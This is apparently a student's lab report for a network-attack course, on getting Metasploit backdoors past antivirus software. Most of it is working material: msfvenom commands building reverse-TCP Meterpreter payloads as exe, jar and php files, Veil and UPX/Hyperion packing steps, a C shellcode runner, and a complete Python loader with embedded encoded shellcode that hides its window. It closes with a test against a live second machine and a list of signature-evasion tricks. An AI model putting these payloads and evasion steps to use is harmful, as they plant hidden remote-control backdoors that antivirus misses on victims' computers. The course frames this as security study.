20181225周凌霄网络对抗实验三

exp3——免杀原理

一、实践目标

1、正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

2、学会veil,加壳工具

3、学会使用C + shellcode编程

4、通过组合应用各种技术实现恶意代码免杀

附加:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

二、实验过程

A.使用msfvenom生成如jar之类的其他文件

Ⅰ、多次编码生成exe文件

1、检测实验2中生成的后门程序

https://www.virscan.org/

扫描结果危险

2、编码一次

msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -b ‘\x00’

LHOST=192.168.31.228 LPORT=11225 -f exe > shell1.exe

3、编码十次

msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -i -10 -b ‘\x00’

LHOST=192.168.31.228 LPORT=11225 -f exe > shell10.exe

再次扫描文件

-e选择编码器,-b是payload中需要去除的字符,该命令中为了使'\x00'不出现在shellcode

中,因为shellcode以'\x00'为结束符,-i设置迭代次数

Ⅱ、生成jar文件

msfvenom -p java/shell_reverse_tcp LHOST=192.168.31.228 LPORT=11225 -f jar >

shell.jar

检测结果

Ⅲ、生成php文件

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.31.228 LPORT=11225 x>

shell.php

检测结果

B、使用veil,加壳工具

Ⅰ、veil

1、下载

sudo apt-get install veil-evasion

下载成功后

cd /usr/share/veil/config

vim setup.sh

将250行左右的内容修改为 sudo git clone https://gitee.com/spears/VeilDependencies.git

修改成功后

veil

等待安装

经过一系列的过程——安装成功!

2、使用

veil

use evasion

use c/meterpreter/rev_tcp.py

set LHOST 192.168.56.101

set LPORT 11204

generate

设置成功!

检测结果

Ⅱ、加壳

upx 1225.exe -o shell10_upx.exe

检测结果

C、使用c+ shellcode编程

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=11204 -f

c

int main()

{

int (*func)() = (int(*)())buf;

func();

}

i686-w64-mingw32-g++shell_c.c-oshell_c.exe

检测结果

D、通过组合应用各种技术实现恶意代码免杀

Ⅰ、c+shellcode+Hyperion

wget

https://github.com/nullsecuritynet/tools/raw/master/binary/hyperion/release/Hype

rion-2.2.zip

下载Hyperion2.2

unzip Hyperion-2.2.zip

修改第一行内容为i686-w64-mingw32-gcc

make

加壳

wine hyperion.exe -v shell_c.exe shell_c_hyperion.exe

检测结果

Ⅱ、python+shellcode

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=11204 -e

x86/shikata_ga_nai -f py > shell.py

生成shell.py

修改如下

from ctypes import *

import ctypes

buf =  ""

buf += "\xbb\x7a\x62\x0a\x22\xdb\xc9\xd9\x74\x24\xf4\x58\x29"

buf += "\xc9\xb1\x97\x31\x58\x15\x03\x58\x15\x83\xe8\xfc\xe2"

buf += "\x8f\xdc\x50\xbc\x22\x5d\xbf\x0c\x65\xe9\x1b\x79\xcd"

buf += "\x39\xad\x30\x7c\x0c\x5d\x21\xfd\x87\x61\x46\x2b\xc8"

buf += "\x35\xc0\x38\x81\xbf\xd5\xb9\xd7\x14\x0c\xcb\x00\x79"

buf += "\x12\x5d\xd0\xb1\xee\xfe\x06\x1d\x51\x8a\x92\x29\xd2"

buf += "\xa4\x4c\xd0\x08\x22\xdc\x4f\x24\xb2\x2b\x2b\xda\x00"

buf += "\x5f\xa3\x1d\x01\xfe\xe9\xf2\x62\xeb\xa7\x46\x63\xce"

buf += "\xac\x45\xe4\x8b\xa1\xa3\x85\x14\xe1\x1e\x06\xa7\x6e"

buf += "\x7a\x03\xe7\x05\xd2\x41\x32\x24\x3c\x48\x72\xf2\x57"

buf += "\x0f\x58\x58\x5c\xf6\xd5\x0f\x5b\x6b\xca\x34\xdd\x5d"

buf += "\xe0\x62\x5a\xc2\xde\x3d\xdc\xb3\xf0\x3e\x78\x31\x90"

buf += "\x6c\x5f\x58\xee\x84\xb0\x30\x87\x60\xec\x58\x25\xad"

buf += "\x4a\x6b\xc6\xb7\xd8\x70\xb8\x2f\xc8\xd9\xcf\xec\x10"

buf += "\xcb\x67\x90\xf2\xdf\xf2\x4a\xf3\x23\xf6\xd1\x12\xa5"

buf += "\xfb\x10\xa9\x56\x4e\xd0\xdc\x10\x21\x1d\xb5\x58\x17"

buf += "\xe1\x6d\x69\x74\xc7\xac\x58\x1a\xc9\xf7\x00\xf8\x54"

buf += "\x76\x05\x6d\xd4\x9e\x9c\x22\xdb\x0f\xa9\xfa\xe3\x8b"

buf += "\x8e\x1a\x1f\x60\xdb\xbe\xef\x2f\x73\xa5\x42\x02\x93"

buf += "\x89\x0f\x42\xfa\xae\xb9\x9b\xec\xe2\x53\x56\x38\x51"

buf += "\x45\x6f\xb8\xd2\xff\x3a\x73\x44\xe4\x38\x38\xf2\x28"

buf += "\x76\xf0\xca\x34\x80\x35\x55\x83\xad\x29\x23\x8a\xca"

buf += "\x07\xcf\x88\x30\x15\x2e\xc0\x99\x1e\xdd\xb6\xbb\x49"

buf += "\x92\x1e\x9a\xdd\xcf\x58\xe9\x84\x66\x3d\x38\xfc\x28"

buf += "\x99\xa4\x19\x09\xe6\x1c\xf5\xad\x4f\xa1\x81\xbf\x51"

buf += "\x3d\x0b\x9e\x27\x60\x20\x7d\x59\x6e\x82\x7c\x25\x5c"

buf += "\x4e\x34\x25\xed\xc3\xb1\x45\x02\x92\x75\xf5\x11\xa5"

buf += "\x54\xdc\x1b\x6f\x9b\x56\xd2\xb5\x80\x66\xcf\xe1\x61"

buf += "\xd1\x01\xe4\x31\x52\xd9\x5b\x01\x37\x29\xa8\xef\xc8"

buf += "\x53\x9b\x1c\x47\x30\x9e\xe4\x6a\xda\xb3\xd5\xfd\xf5"

buf += "\xb8\x13\xbc\x92\xbb\xb4\x82\x70\x02\xad\xef\x3b\x70"

buf += "\xf4\x98\x84\x31\x52\x97\x60\x2b\x2e\x84\x9b\x7f\xb7"

buf += "\x30\x85\x58\xef\x8c\x95\xa0\x56\x2f\xef\x20\x61\x0d"

buf += "\x94\x66\xbf\xa7\xd0\x71\x56\x52\x82\xb1\xa0\x19\xe4"

buf += "\x7e\xd9\x90\x96\x2b\x16\xea\x4c\xde\xcd\x05\x23\x6e"

buf += "\xc2\x4b\xc0\x68\x1b\xba\xc1\x1d\xca\x26\x74\xd1\x92"

buf += "\x4e\xd3\x70\x8a\x43\x41\xbe\x59\xf1\x20\x33\x89\xb9"

buf += "\x2b\xdb\x9a\x0f\xad\x8d\x80\x4c\x78\x52\xe7\x0a\xf7"

buf += "\x47\xd8\x5c\x0c\x3c\xd4\x0d\x3d\xe7\xbd\x2d\x22\xb1"

buf += "\x37\x0a\xd9\x5e\xf2\xd5\xd2\x56\xe0\x56\x1c\x42\xc3"

buf += "\x75\x92\x55\x7c\x86\x6a\xb4\xcd\x3a\xce\x4d\xea\x4f"

buf += "\xa4\x31\xc6\xe0\x16\x27\xa5\xf4\x9d\x79\x5e\xfc\x60"

buf += "\xeb\xef\x35\x33\x6e\x5b\x6d\xec\x8f\x9b\x1e\xb1\xf6"

buf += "\x35\xeb\x1f\x3b\xab\x99\x9a\x34\x2a\xf8\x25\x38\xba"

buf += "\x40\xe9\xb0\x51\xbc\xdf\x60\x16\x62\xc3\x63\x64\xbd"

buf += "\xb5\x28\xf6\x4c\x71\xd2\x01\x74\x11\xf0\xd7\xcd\x4f"

buf += "\x34\xad\xc2\x65\x4c\xeb\x78\xc1\xbf\xba\x80\x6c\x46"

buf += "\x6a\x15\x15\x03\x5e\x8d\x65\x8e\x69\x89\x29\x7f\x67"

buf += "\xea\xc1\x6b\x62\xb0\xd4"

 

#libc = CDLL('libc.so.6')

PROT_READ = 1

PROT_WRITE = 2

PROT_EXEC = 4

def executable_code(buffer):

    buf = c_char_p(buffer)

    size = len(buffer)

    addr = libc.valloc(size)

    addr = c_void_p(addr)

    if 0 == addr: 

        raise Exception("Failed to allocate memory")

    memmove(addr, buf, size)

    if 0 != libc.mprotect(addr, len(buffer), PROT_READ | PROT_WRITE | PROT_EXEC):

        raise Exception("Failed to set protection on buffer")

    return addr

VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc

VirtualProtect = ctypes.windll.kernel32.VirtualProtect

shellcode = bytearray(buf)

whnd = ctypes.windll.kernel32.GetConsoleWindow()   

if whnd != 0:

       if 666==666:

              ctypes.windll.user32.ShowWindow(whnd, 0)   

              ctypes.windll.kernel32.CloseHandle(whnd)

print ".................................."*666

memorywithshell = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),

                                          ctypes.c_int(len(shellcode)),

                                          ctypes.c_int(0x3000),

                                          ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

old = ctypes.c_long(1)

VirtualProtect(memorywithshell, ctypes.c_int(len(shellcode)),0x40,ctypes.byref(old))

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(memorywithshell),

                                     buf,

                                     ctypes.c_int(len(shellcode)))

shell = cast(memorywithshell, CFUNCTYPE(c_void_p))

print "Code By Luan"

shell()

在windowsx86上安装支持python的环境,下载pywin32 解压运行,一直点下一步就可以了

然后下载支持将python生成exe的软件pyinstall ,解压然后执行以下命令:

D:\miansha\pyinstaller-2.0>python PyInstaller.py --console --onefile  shell_p_zlx.py

E、用另一电脑实测,在杀软开启的情况下,可运行并回连成功

1、这里首先要将另 fangs一台电脑和虚拟机ping通,我们可以把网络模式改为桥接方式然后获得我们的ip地址

2、用Msfvenom生成raw格式的shellcode

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.31.228 lport=1225 -f raw -o zlx1225.raw

image-20210406162522710

3、msfconsole开始监听

代码同实验二

4、在shellcode_launcher-master文件打开cmd,运行指令shellcode_launcher.exe -i zlx1225.raw

shellcode_launcher.exe -i zlx1225.raw

三、基础问题回答

(1)杀软是如何检测出恶意代码的?

1.基于特征码的检测

在扫描程序工作后根据特征文件中的特征字符串,进行与待检测文件的扫描匹配,是检测已

知恶意代码的最主要方法。

2.启发式恶意软件检测

根据片面特征去推断(看起来像),通常缺乏精确判断依据不需要及时更新,具有通用型;

但实时监控系统行为开销稍大,没有基于特征码的精确度高。

3.基于行为的恶意软件检测

基于行为的检测相当于启发式的一种,或者是加入了行为监控的启发式让软件运行,记录其

行为并分析(杀软的工作原理)。

4.完整性检测

通过hash值来判断文件是否被篡改。

5.云查杀技术

采用引擎加云上特征库的方式,用最小的资源来对病毒进行查杀。

6.基于人工智能的检测技术

利用数据挖掘等人工智能算法,区分恶意代码与正常代码的行为特征,并形成特征知识库,

新的未知代码经过系统评判和学习后,通过分类器的进一步操作将其划入某一个分类。

(2)免杀是做什么?

免杀就是通过修改PE文件的代码或结构来达到躲避杀毒软件查杀的目的。 简单的说:杀毒软件的原理是匹配特征码,而免杀的目的就是要修改这些特征码。

(3)免杀的基本方法有哪些?

【—.入口点加1免杀法:】
1.用到工具PEditor
2特点:非常简单实用,但有时还会被卡巴查杀]
3.操作要点:用PEditor打开无壳木马程序,把原入口点加1即可
【二.变化入口地址免杀法:】
1.用到工具:OllyDbg,PEditor
2特点:操作也比较容易,而且免杀效果比入口点加1点要佳.
3.操作要点:用OD载入无壳的木马程序,把入口点的前二句移到零区域去执行,然后又跳回到入口点的下面第三句继续执行.最后用PEditor把入口点改成零区域的地址
【三.加花指令法免杀法:】
1.用到工具:OllyDbg,PEditor
2.特点:免杀通用性非常好,加了花指令后,就基本达到大量杀毒软件的免杀.3.操作要点:用OD打开无壳的木马程序,找到零区域,把我们准备好的花指令填进去
填好后又跳回到入口点,保存好后,再用PEditor把入口点改成零区域处填入花指令的着地址.

【四.加壳或加伪装壳免杀法:】
1.用到工具:一些冷门壳,或加伪装壳的工具,比如木马彩衣等.
⒉.特点:操作简单化,但免杀的时间不长,可能很快被杀,也很难躲过卡巴的追杀
3.操作要点:为了达到更好的免杀效果可采用多重加壳,或加了壳后在加伪装壳的免杀效果更
【五.打乱壳的头文件或壳中加花免杀法:)】
1.用到工具:秘密行动,UPX加壳工具.
2特点:操作也是傻瓜化,免杀效果也正当不错,特别对卡巴的免杀效果非常好
3.操作要点:首先一定要把没加过壳的木马程序用UPX加层壳,然后用秘密行动这款工具中的SCramble功能进行把UPX壳的头文件打乱,从而达到免杀效果.
【六.修改文件特征码免杀法:】
1.用到工具:特征码定位器,OllyDbg
⒉特点:操作较复杂,要定位修改一系列过程,而且只针对每种杀毒软件的免杀,要达到多种杀毒软件的免杀,必需修改各种杀毒软件的特征码.但免杀效果好

四、实验体会和心得

通过这次免杀测试,我学会使用了veil工具,和加壳工具,我深刻体会到杀毒软件例如windows defender还是有很大作用的,能减少主机被植入恶意程序和后门,也对后门植入的防范和方法有了更深的理解,植入后门会让我们的电脑收到很多威胁。

posted @ 2021-04-01 23:18  20181225周凌霄  阅读(132)  评论(0)    收藏  举报